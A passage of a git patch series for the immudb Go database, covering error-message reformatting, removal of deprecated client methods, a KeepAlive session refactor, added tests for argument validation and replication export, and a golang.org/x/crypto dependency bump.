state.TxId, prevState.TxId) } else if prevState == nil || state.TxId != prevState.TxId { if err := a.history.Set(serverID, dbName, state); err != nil { a.logger.Errorf(err.Error()) return noErr } } + a.logger.Infof("audit #%d finished in %s @ %s", a.index, time.Since(start), time.Now().Format(time.RFC3339Nano)) return noErr } -func (a *defaultAuditor) verifyStateSignature( - serverID string, - serverState *schema.ImmutableState, -) error { - +func (a *defaultAuditor) verifyStateSignature(serverID string, serverState *schema.ImmutableState) error { if a.serverSigningPubKey != nil && serverState.GetSignature() == nil { - return fmt.Errorf( - "a server signing public key has been specified for the auditor, "+ - "but the state %s at TX %d received from server %s @ %s is not signed", + return fmt.Errorf("a server signing public key has been specified for the auditor, but the state %s at TX %d received from server %s @ %s is not signed", serverState.GetTxHash(), serverState.GetTxId(), serverID, a.serverAddress) } if serverState.GetSignature() != nil { pk := a.serverSigningPubKey if pk == nil { - a.logger.Warningf( - "server signature will be verified using untrusted public key (embedded in the server state payload) " + - "- for better security please configure a public key for the auditor process") + a.logger.Warningf("server signature will be verified using untrusted public key (embedded in the server state payload) " + + "- for better security please configure a public key for the auditor process") var err error pk, err = signer.UnmarshalKey(serverState.GetSignature().GetPublicKey()) if err != nil { - return fmt.Errorf( - "failed to verify signature for state %s at TX %d received from server %s @ %s: "+ - "error unmarshaling the public key embedded in the server state payload: %w", + return fmt.Errorf("failed to verify signature for state %s at TX %d received from server %s @ %s: "+ + "error unmarshaling the public key embedded in the server state payload: %w", serverState.GetTxHash(), serverState.GetTxId(), serverID, a.serverAddress, err) } } if err := serverState.CheckSignature(pk); err != nil { - return fmt.Errorf( - "failed to verify signature for state %s at TX %d received from server %s @ %s: "+ - "verification error: %v", - serverState.GetTxHash(), serverState.GetTxId(), serverID, a.serverAddress, - err) + return fmt.Errorf("failed to verify signature for state %s at TX %d received from server %s @ %s: verification error: %v", + serverState.GetTxHash(), serverState.GetTxId(), serverID, a.serverAddress, err) } } @@ -495,10 +458,8 @@ func (a *defaultAuditor) publishAuditNotification( default: respBody, _ := ioutil.ReadAll(resp.Body) return fmt.Errorf( - "POST %s request with payload %+v: "+ - "got unexpected response status %s with response body %s", - a.notificationConfig.URL, payload, - resp.Status, respBody) + "POST %s request with payload %+v: got unexpected response status %s with response body %s", + a.notificationConfig.URL, payload, resp.Status, respBody) } return nil @@ -515,13 +476,9 @@ func (a *defaultAuditor) getServerID(ctx context.Context) string { } if serverID == "" { - serverID = strings.ReplaceAll( - strings.ReplaceAll(a.serverAddress, ".", "-"), - ":", "_") + serverID = strings.ReplaceAll(strings.ReplaceAll(a.serverAddress, ".", "-"), ":", "_") serverID = a.slugifyRegExp.ReplaceAllString(serverID, "") - a.logger.Debugf( - "the current immudb server @ %s will be identified as %s", - a.serverAddress, serverID) + a.logger.Debugf("the current immudb server @ %s will be identified as %s", a.serverAddress, serverID) } return serverID @@ -529,11 +486,7 @@ func (a *defaultAuditor) getServerID(ctx context.Context) string { // repeat executes f every interval until stopc is closed or f returns an error. // It executes f once right after being called. -func repeat( - interval time.Duration, - stopc <-chan struct{}, - f func() error, -) error { +func repeat(interval time.Duration, stopc <-chan struct{}, f func() error) error { tick := time.NewTicker(interval) defer tick.Stop() diff --git a/pkg/client/cache/common.go b/pkg/client/cache/common.go index 4c05532d2a..f778c63b69 100644 --- a/pkg/client/cache/common.go +++ b/pkg/client/cache/common.go @@ -44,12 +44,7 @@ func validateServerIdentityInFile(serverIdentity string, serverUUID string, iden fl, err := lockedfile.OpenFile(identityFile, os.O_RDWR|os.O_CREATE, 0655) if err != nil { - return fmt.Errorf( - "could not check the identity of the server '%s' in file '%s': %w", - serverIdentity, - identityFile, - err, - ) + return fmt.Errorf("could not check the identity of the server '%s' in file '%s': %w", serverIdentity, identityFile, err) } defer fl.Close() @@ -60,12 +55,7 @@ func validateServerIdentityInFile(serverIdentity string, serverUUID string, iden stat, err := fl.Stat() if err != nil { - return fmt.Errorf( - "could not check the identity of the server '%s' in file '%s': %w", - serverIdentity, - identityFile, - err, - ) + return fmt.Errorf("could not check the identity of the server '%s' in file '%s': %w", serverIdentity, identityFile, err) } if stat.Size() == 0 { @@ -79,22 +69,12 @@ func validateServerIdentityInFile(serverIdentity string, serverUUID string, iden err := enc.Encode(&identityDataJson) if err != nil { - return fmt.Errorf( - "could not store the identity of the server '%s' in file '%s': %w", - serverIdentity, - identityFile, - err, - ) + return fmt.Errorf("could not store the identity of the server '%s' in file '%s': %w", serverIdentity, identityFile, err) } err = fl.Close() if err != nil { - return fmt.Errorf( - "could not store the identity of the server '%s' in file '%s': %w", - serverIdentity, - identityFile, - err, - ) + return fmt.Errorf("could not store the identity of the server '%s' in file '%s': %w", serverIdentity, identityFile, err) } return nil diff --git a/pkg/client/client.go b/pkg/client/client.go index 9443ec7fdd..6847aa4d4f 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -715,10 +715,12 @@ func (c *immuClient) SetupDialOptions(options *Options) []grpc.DialOption { // // Deprecated: use NewClient and OpenSession instead. func (c *immuClient) Connect(ctx context.Context) (clientConn *grpc.ClientConn, err error) { + c.Logger.Debugf("dialed %v", c.Options) + if c.clientConn, err = grpc.Dial(c.Options.Bind(), c.Options.DialOptions...); err != nil { - c.Logger.Debugf("dialed %v", c.Options) return nil, err } + return c.clientConn, nil } @@ -2284,31 +2286,6 @@ func (c *immuClient) DatabaseListV2(ctx context.Context) (*schema.DatabaseListRe return c.ServiceClient.DatabaseListV2(ctx, &schema.DatabaseListRequestV2{}) } -// Deprecated: Please use CurrentState. -func (c *immuClient) CurrentRoot(ctx context.Context) (*schema.ImmutableState, error) { - return c.CurrentState(ctx) -} - -// Deprecated: Please use VerifiedSet. -func (c *immuClient) SafeSet(ctx context.Context, key []byte, value []byte) (*schema.TxHeader, error) { - return c.VerifiedSet(ctx, key, value) -} - -// Deprecated: Please use VerifiedGet. -func (c *immuClient) SafeGet(ctx context.Context, key []byte, opts ...grpc.CallOption) (*schema.Entry, error) { - return c.VerifiedGet(ctx, key) -} - -// Deprecated: Please use VerifiedZAdd. -func (c *immuClient) SafeZAdd(ctx context.Context, set []byte, score float64, key []byte) (*schema.TxHeader, error) { - return c.VerifiedZAdd(ctx, set, score, key) -} - -// Deprecated: Please use VerifiedSetReference. -func (c *immuClient) SafeReference(ctx context.Context, key []byte, referencedKey []byte) (*schema.TxHeader, error) { - return c.VerifiedSetReference(ctx, key, referencedKey) -} - func decodeTxEntries(entries []*schema.TxEntry) { for _, it := range entries { it.Key = it.Key[1:] diff --git a/pkg/integration/client_test.go b/pkg/integration/client_test.go index 404b833332..03cceecc45 100644 --- a/pkg/integration/client_test.go +++ b/pkg/integration/client_test.go @@ -963,9 +963,15 @@ func TestImmuClient_GetAll(t *testing.T) { _, err = client.FlushIndex(ctx, 10, true) require.NoError(t, err) + err = client.CompactIndex(ctx, &emptypb.Empty{}) + require.NoError(t, err) + entries, err = client.GetAll(ctx, [][]byte{[]byte(`aaa`), []byte(`bbb`)}) require.NoError(t, err) require.Len(t, entries.Entries, 2) + + err = client.TruncateDatabase(ctx, "defaultdb", 1*time.Hour) + require.ErrorContains(t, err, "database is reserved") } func TestImmuClient_Delete(t *testing.T) { diff --git a/pkg/server/keepAlive.go b/pkg/server/keepAlive.go index 106717570c..4c002c7acb 100644 --- a/pkg/server/keepAlive.go +++ b/pkg/server/keepAlive.go @@ -19,10 +19,19 @@ package server import ( "context" + "github.com/codenotary/immudb/pkg/server/sessions" "github.com/golang/protobuf/ptypes/empty" + "google.golang.org/protobuf/types/known/emptypb" ) // KeepAlive is catched by KeepAliveSessionInterceptor func (s *ImmuServer) KeepAlive(ctx context.Context, e *empty.Empty) (*empty.Empty, error) { - return new(empty.Empty), nil + sessionID, err := sessions.GetSessionIDFromContext(ctx) + if err != nil { + return nil, err + } + + s.SessManager.UpdateSessionActivityTime(sessionID) + + return &emptypb.Empty{}, nil } diff --git a/pkg/server/keep_alive_session_interceptor.go b/pkg/server/keep_alive_session_interceptor.go index cc578bbd6c..cc3229a010 100644 --- a/pkg/server/keep_alive_session_interceptor.go +++ b/pkg/server/keep_alive_session_interceptor.go @@ -20,13 +20,13 @@ import ( "context" "github.com/codenotary/immudb/pkg/auth" - "github.com/codenotary/immudb/pkg/server/sessions" "google.golang.org/grpc" ) func (s *ImmuServer) KeepALiveSessionStreamInterceptor(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error { if auth.GetAuthTypeFromContext(ss.Context()) == auth.SessionAuth { - if err := s.updateSessActivityTime(ss.Context()); err != nil { + _, err := s.KeepAlive(ss.Context(), nil) + if err != nil { return err } } @@ -36,18 +36,10 @@ func (s *ImmuServer) KeepALiveSessionStreamInterceptor(srv interface{}, ss grpc. func (s *ImmuServer) KeepAliveSessionInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { if auth.GetAuthTypeFromContext(ctx) == auth.SessionAuth && info.FullMethod != "/immudb.schema.ImmuService/OpenSession" { - if err := s.updateSessActivityTime(ctx); err != nil { + _, err := s.KeepAlive(ctx, nil) + if err != nil { return nil, err } } return handler(ctx, req) } - -func (s *ImmuServer) updateSessActivityTime(ctx context.Context) error { - sessionID, err := sessions.GetSessionIDFromContext(ctx) - if err != nil { - return err - } - s.SessManager.UpdateSessionActivityTime(sessionID) - return nil -} diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 06212b658b..72d20665c6 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -2036,8 +2036,12 @@ func TestServerDatabaseTruncate(t *testing.T) { DatabaseName: DefaultDBName, }) require.NoError(t, err) + ctx := metadata.NewIncomingContext(context.Background(), metadata.New(map[string]string{"sessionid": resp.GetSessionID()})) + _, err = s.KeepAlive(ctx, &emptypb.Empty{}) + require.NoError(t, err) + t.Run("attempt to delete without retention period should fail", func(t *testing.T) { _, err = s.CreateDatabaseV2(ctx, &schema.CreateDatabaseRequest{ Name: "db1", From e22c147288144df9e148dccb31458b866d08c217 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 5 Jul 2023 13:53:09 -0300 Subject: [PATCH 0672/1062] test(embedded/document): increase coverage of corner cases Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 4 +--- embedded/document/engine_test.go | 37 ++++++++++++++++++++++++++++++-- embedded/sql/engine.go | 4 ++++ pkg/server/server_test.go | 3 +++ 4 files changed, 43 insertions(+), 5 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index eaa5032b8b..04f451c807 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -600,9 +600,7 @@ func (e *Engine) upsertDocuments(ctx context.Context, sqlTx *sql.SQLTx, collecti for i, doc := range docs { if doc == nil || len(doc.Fields) == 0 { - doc = &structpb.Struct{ - Fields: make(map[string]*structpb.Value), - } + doc = &structpb.Struct{Fields: make(map[string]*structpb.Value)} } _, blobFieldProvisioned := doc.Fields[DocumentBLOBField] diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 40d29c7760..2277242020 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -41,6 +41,9 @@ func makeEngine(t *testing.T) *Engine { engine, err := NewEngine(st, DefaultOptions()) require.NoError(t, err) + err = engine.CopyCatalogToTx(context.Background(), nil) + require.ErrorIs(t, err, ErrIllegalArguments) + return engine } @@ -429,6 +432,9 @@ func TestGetDocument(t *testing.T) { }, } + _, err = engine.GetDocuments(ctx, nil, 0) + require.ErrorIs(t, err, ErrIllegalArguments) + reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() @@ -440,6 +446,9 @@ func TestGetDocument(t *testing.T) { _, err = reader.Read(ctx) require.ErrorIs(t, err, ErrNoMoreDocuments) + _, err = engine.CountDocuments(ctx, nil, 0) + require.ErrorIs(t, err, ErrIllegalArguments) + count, err := engine.CountDocuments(ctx, query, 0) require.NoError(t, err) require.EqualValues(t, 1, count) @@ -493,7 +502,7 @@ func TestDocumentAudit(t *testing.T) { }, { Field: "address.street", - Operator: protomodel.ComparisonOperator_EQ, + Operator: protomodel.ComparisonOperator_LIKE, Value: structpb.NewStringValue("mainstreet"), }, }, @@ -539,6 +548,22 @@ func TestDocumentAudit(t *testing.T) { require.Contains(t, docAudit.Document.Fields["address"].GetStructValue().Fields, "street") require.Equal(t, uint64(i+1), docAudit.Revision) } + + err = engine.DeleteDocuments(context.Background(), &protomodel.Query{ + CollectionName: collectionName, + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + {Field: "_id", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewStringValue(docID.EncodeToHexString())}, + }}, + }, + Limit: 1, + }) + require.NoError(t, err) + + res, err = engine.AuditDocument(context.Background(), collectionName, docID, false, 0, 10) + require.NoError(t, err) + require.Len(t, res, 3) } func TestQueryDocuments(t *testing.T) { @@ -591,6 +616,11 @@ func TestQueryDocuments(t *testing.T) { Operator: protomodel.ComparisonOperator_NE, Value: structpb.NewNumberValue(2), }, + { + Field: "country", + Operator: protomodel.ComparisonOperator_NOT_LIKE, + Value: structpb.NewStringValue("some_country"), + }, }, }, }, @@ -1393,7 +1423,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { err := engine.DeleteIndex( context.Background(), collectionName, - []string{""}, + []string{}, ) require.ErrorIs(t, err, ErrIllegalArguments) }) @@ -1611,6 +1641,9 @@ func TestDeleteDocument(t *testing.T) { require.NoError(t, err) require.Len(t, docs, 1) + err = engine.DeleteDocuments(ctx, nil) + require.ErrorIs(t, err, ErrIllegalArguments) + err = engine.DeleteDocuments(ctx, query) require.NoError(t, err) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index fabafe6495..99b3ed6830 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -439,6 +439,10 @@ func normalizeParams(params map[string]interface{}) (map[string]interface{}, err // CopyCatalogToTx copies the current sql catalog to the ongoing transaction. func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error { + if tx == nil { + return ErrIllegalArguments + } + catalog := newCatalog(e.prefix) err := catalog.addSchemaToTx(e.prefix, tx) diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 72d20665c6..94fd2075c2 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -2030,6 +2030,9 @@ func TestServerDatabaseTruncate(t *testing.T) { s.Initialize() + _, err := s.KeepAlive(context.Background(), &emptypb.Empty{}) + require.Error(t, err) + resp, err := s.OpenSession(context.Background(), &schema.OpenSessionRequest{ Username: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), From 3d4e9a6c00367f106319aa937deae2ed7d0dc233 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 5 Jul 2023 14:06:42 -0300 Subject: [PATCH 0673/1062] test(pkg/integration): export tx with follower state Signed-off-by: Jeronimo Irazabal --- pkg/integration/follower_replication_test.go | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/pkg/integration/follower_replication_test.go b/pkg/integration/follower_replication_test.go index 254857f17e..4ad7f0c51c 100644 --- a/pkg/integration/follower_replication_test.go +++ b/pkg/integration/follower_replication_test.go @@ -121,6 +121,14 @@ func TestReplication(t *testing.T) { err = primaryClient.SetActiveUser(context.Background(), &schema.SetActiveUserRequest{Active: true, Username: "replicator"}) require.NoError(t, err) + _, err = primaryClient.ExportTx(context.Background(), &schema.ExportTxRequest{ + Tx: uint64(1), + AllowPreCommitted: false, + SkipIntegrityCheck: true, + ReplicaState: &schema.ReplicaState{}, + }) + require.NoError(t, err) + // init replica client replicaPort := replicaServer.Listener.Addr().(*net.TCPAddr).Port From 5188f2e5412aca1e749e6ee0a75813557c8f330e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 5 Jul 2023 14:30:12 -0300 Subject: [PATCH 0674/1062] test(embedded/store): minor code adjustments Signed-off-by: Jeronimo Irazabal --- embedded/sql/catalog.go | 4 ---- embedded/store/immustore.go | 27 +++++++++++++-------------- embedded/store/immustore_test.go | 23 +++++++++++++++++++++++ 3 files changed, 36 insertions(+), 18 deletions(-) diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index eb25b415d3..01b3b19af5 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -111,10 +111,6 @@ func (t *Table) ID() uint32 { return t.id } -func (t *Table) Database() *Catalog { - return t.catalog -} - func (t *Table) Cols() []*Column { return t.cols } diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index b3a6466f7b..8b7f471f1c 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1268,8 +1268,8 @@ func (s *ImmuStore) commit(ctx context.Context, otx *OngoingTx, expectedHeader * if waitForIndexing { err = s.WaitForIndexingUpto(ctx, hdr.ID) + // header is returned because transaction is already committed if err != nil { - // header is returned because transaction is already committed return hdr, err } } @@ -1321,8 +1321,8 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader defer close(doneWithValuesCh) go func() { + // value write is delayed to ensure values are inmediatelly followed by the associated tx header if s.embeddedValues { - // value write is delayed to ensure values are inmediatelly followed by the associated tx header doneWithValuesCh <- appendableResult{nil, nil} return } @@ -1826,10 +1826,9 @@ func (s *ImmuStore) mayCommit() error { commitUpToTxAlh = alh } + // added as a safety fuse but this situation should NOT happen if commitUpToTxID != commitAllowedUpToTxID { - // added as a safety fuse but this situation should NOT happen - return fmt.Errorf("%w: may commit up to %d but actual transaction to be committed is %d", - ErrUnexpectedError, commitAllowedUpToTxID, commitUpToTxID) + return fmt.Errorf("%w: may commit up to %d but actual transaction to be committed is %d", ErrUnexpectedError, commitAllowedUpToTxID, commitUpToTxID) } err = s.cLog.Flush() @@ -1867,8 +1866,9 @@ func (s *ImmuStore) CommitWith(ctx context.Context, callback func(txID uint64, i if waitForIndexing { err = s.WaitForIndexingUpto(ctx, hdr.ID) + + // header is returned because transaction is already committed if err != nil { - // header is returned because transaction is already committed return hdr, err } } @@ -2272,10 +2272,10 @@ func (s *ImmuStore) txOffsetAndSize(txID uint64) (int64, int, error) { if errors.Is(err, multiapp.ErrAlreadyClosed) || errors.Is(err, singleapp.ErrAlreadyClosed) { return 0, 0, ErrAlreadyClosed } + // A partially readable commit record must be discarded - + // - it is a result of incomplete commit log write + // and will be overwritten on the next commit if errors.Is(err, io.EOF) { - // A partially readable commit record must be discarded - - // - it is a result of incomplete commit log write - // and will be overwritten on the next commit return 0, 0, ErrTxNotFound } if err != nil { @@ -2382,8 +2382,8 @@ func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, skipIntegrityC } if err == nil { + // currently, either all the values are sent or none if isValueTruncated { - // currently, either all the values are sent or none return nil, fmt.Errorf("%w: partially truncated transaction", ErrCorruptedData) } @@ -2405,8 +2405,8 @@ func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, skipIntegrityC // error is eof, the value has been truncated, // value is not available but digest is written instead + // currently, either all the values are sent or none if !isValueTruncated && i > 0 { - // currently, either all the values are sent or none return nil, fmt.Errorf("%w: partially truncated transaction", ErrCorruptedData) } @@ -3067,10 +3067,9 @@ func (s *ImmuStore) sync() error { commitUpToTxAlh = alh } + // added as a safety fuse but this situation should NOT happen if commitUpToTxID != commitAllowedUpToTxID { - // added as a safety fuse but this situation should NOT happen - return fmt.Errorf("%w: may commit up to %d but actual transaction to be committed is %d", - ErrUnexpectedError, commitAllowedUpToTxID, commitUpToTxID) + return fmt.Errorf("%w: may commit up to %d but actual transaction to be committed is %d", ErrUnexpectedError, commitAllowedUpToTxID, commitUpToTxID) } err = s.cLog.Flush() diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 92f1efb8b9..6b251340c2 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -4429,6 +4429,29 @@ func TestImmudbStoreWithoutVLogCache(t *testing.T) { require.Equal(t, []byte("value1"), val) } +func TestImmudbStoreWithVLogCache(t *testing.T) { + immuStore, err := Open(t.TempDir(), DefaultOptions().WithVLogCacheSize(10)) + require.NoError(t, err) + + defer immuStore.Close() + + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) + require.NoError(t, err) + + err = tx1.Set([]byte("key1"), nil, []byte("value1")) + require.NoError(t, err) + + _, err = tx1.Commit(context.Background()) + require.NoError(t, err) + + _, valRef, err := immuStore.GetWithPrefix([]byte("key1"), nil) + require.NoError(t, err) + + val, err := valRef.Resolve() + require.NoError(t, err) + require.Equal(t, []byte("value1"), val) +} + func TestImmudbStoreTruncateUptoTx_WithMultipleIOConcurrency(t *testing.T) { fileSize := 1024 From f26a94730703d517ade5386b4b21bdd12248cd14 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 5 Jul 2023 14:42:16 -0300 Subject: [PATCH 0675/1062] test(embedded/store): minor code adjustments Signed-off-by: Jeronimo Irazabal --- embedded/store/verification.go | 10 +++------- pkg/database/database.go | 11 +++-------- pkg/integration/client_test.go | 2 ++ pkg/server/streams.go | 10 +++------- 4 files changed, 11 insertions(+), 22 deletions(-) diff --git a/embedded/store/verification.go b/embedded/store/verification.go index 233d7eb9e5..a70159ed45 100644 --- a/embedded/store/verification.go +++ b/embedded/store/verification.go @@ -86,26 +86,25 @@ func VerifyLinearAdvanceProof( // startTxID endTxID // + // This must not happen - that's an invalid proof if endTxID < startTxID { - // This must not happen - that's an invalid proof return false } + // Linear Advance Proof is not needed if endTxID <= startTxID+1 { - // Linear Advance Proof is not needed return true } + // Check more preconditions that would indicate broken proof if proof == nil || len(proof.LinearProofTerms) != int(endTxID-startTxID) || len(proof.InclusionProofs) != int(endTxID-startTxID)-1 { - // Check more preconditions that would indicate broken proof return false } calculatedAlh := proof.LinearProofTerms[0] // alh at startTx+1 for txID := startTxID + 1; txID < endTxID; txID++ { - // Ensure the node in the chain is included in the target Merkle Tree if !ahtree.VerifyInclusion( proof.InclusionProofs[txID-startTxID-1], @@ -257,12 +256,9 @@ func EntrySpecDigestFor(version int) (EntrySpecDigest, error) { func EntrySpecDigest_v0(kv *EntrySpec) [sha256.Size]byte { b := make([]byte, len(kv.Key)+sha256.Size) - copy(b[:], kv.Key) - hvalue := sha256.Sum256(kv.Value) copy(b[len(kv.Key):], hvalue[:]) - return sha256.Sum256(b) } diff --git a/pkg/database/database.go b/pkg/database/database.go index a83ae5b7d5..d7b2b0d55f 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -588,20 +588,15 @@ func (d *db) resolveValue( } if len(val) < 1 { - return nil, fmt.Errorf( - "%w: internal value consistency error - missing value prefix", - store.ErrCorruptedData, - ) + return nil, fmt.Errorf("%w: internal value consistency error - missing value prefix", store.ErrCorruptedData) } // Reference lookup if val[0] == ReferenceValuePrefix { if len(val) < 1+8 { - return nil, fmt.Errorf( - "%w: internal value consistency error - invalid reference", - store.ErrCorruptedData, - ) + return nil, fmt.Errorf("%w: internal value consistency error - invalid reference", store.ErrCorruptedData) } + if resolved == MaxKeyResolutionLimit { return nil, ErrKeyResolutionLimitReached } diff --git a/pkg/integration/client_test.go b/pkg/integration/client_test.go index 03cceecc45..c3b9beed59 100644 --- a/pkg/integration/client_test.go +++ b/pkg/integration/client_test.go @@ -65,6 +65,8 @@ var testData = struct { func setupTestServerAndClient(t *testing.T) (*servertest.BufconnServer, ic.ImmuClient, context.Context) { bs := servertest.NewBufconnServer(server. DefaultOptions(). + WithMetricsServer(true). + WithWebServer(true). WithDir(filepath.Join(t.TempDir(), "data")). WithAuth(true). WithSigningKey("./../../test/signer/ec1.key"), diff --git a/pkg/server/streams.go b/pkg/server/streams.go index 3f1d6948b6..187b96c8a1 100644 --- a/pkg/server/streams.go +++ b/pkg/server/streams.go @@ -260,9 +260,7 @@ func (s *ImmuServer) StreamVerifiableSet(str schema.ImmuService_StreamVerifiable return errors.Wrap(err, stream.ErrMaxValueLenExceeded).WithCode(errors.CodDataException) } if err != nil { - return status.Errorf( - codes.Unknown, - "StreamVerifiableSet received the following error: %s", err.Error()) + return status.Errorf(codes.Unknown, "StreamVerifiableSet received the following error: %s", err.Error()) } if s.StateSigner != nil { @@ -342,14 +340,12 @@ func (s *ImmuServer) StreamZScan(request *schema.ZScanRequest, server schema.Imm for _, e := range r.Entries { scoreBs, err := stream.NumberToBytes(e.Score) if err != nil { - s.Logger.Errorf( - "StreamZScan error: could not convert score %f to bytes: %v", e.Score, err) + s.Logger.Errorf("StreamZScan error: could not convert score %f to bytes: %v", e.Score, err) } atTxBs, err := stream.NumberToBytes(e.AtTx) if err != nil { - s.Logger.Errorf( - "StreamZScan error: could not convert atTx %d to bytes: %v", e.AtTx, err) + s.Logger.Errorf("StreamZScan error: could not convert atTx %d to bytes: %v", e.AtTx, err) } ze := &stream.ZEntry{ From c5639b4188a698f4cdc9b8eeefee625a295e09d7 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 5 Jul 2023 18:08:20 +0000 Subject: [PATCH 0676/1062] chore(deps): bump golang.org/x/crypto from 0.10.0 to 0.11.0 Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.10.0 to 0.11.0. - [Commits](https://github.com/golang/crypto/compare/v0.10.0...v0.11.0) --- updated-dependencies: - dependency-name: golang.org/x/crypto dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 6 +++--- go.sum | 13 ++++++------- 2 files changed, 9 insertions(+), 10 deletions(-) diff --git a/go.mod b/go.mod index c326a84435..93fcc1538e 100644 --- a/go.mod +++ b/go.mod @@ -33,7 +33,7 @@ require ( github.com/spf13/viper v1.15.0 github.com/stretchr/testify v1.8.2 github.com/takama/daemon v0.12.0 - golang.org/x/crypto v0.10.0 + golang.org/x/crypto v0.11.0 golang.org/x/net v0.10.0 golang.org/x/sys v0.10.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated @@ -100,8 +100,8 @@ require ( github.com/spf13/jwalterweatherman v1.1.0 // indirect github.com/subosito/gotenv v1.4.2 // indirect golang.org/x/mod v0.9.0 // indirect - golang.org/x/term v0.9.0 // indirect - golang.org/x/text v0.10.0 // indirect + golang.org/x/term v0.10.0 // indirect + golang.org/x/text v0.11.0 // indirect golang.org/x/tools v0.7.0 // indirect google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc // indirect diff --git a/go.sum b/go.sum index c319795e05..0dcfa6cb10 100644 --- a/go.sum +++ b/go.sum @@ -1333,8 +1333,8 @@ golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5y golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= -golang.org/x/crypto v0.10.0 h1:LKqV2xt9+kDzSTfOhx4FrkEBcMrAgHSYgzywV9zcGmM= -golang.org/x/crypto v0.10.0/go.mod h1:o4eNf7Ede1fv+hwOwZsTHl9EsPFO6q6ZvYR8vYfY45I= +golang.org/x/crypto v0.11.0 h1:6Ewdq3tDic1mg5xRO4milcWCfMVQhI4NkqWWvqejpuA= +golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio= golang.org/x/exp v0.0.0-20180321215751-8460e604b9de/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20180807140117-3d87b88a115f/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= @@ -1609,7 +1609,6 @@ golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.9.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA= golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= @@ -1621,8 +1620,8 @@ golang.org/x/term v0.4.0/go.mod h1:9P2UbLfCdcvo3p/nzKvsmas4TnlujnuoV9hGgYzW1lQ= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.6.0/go.mod 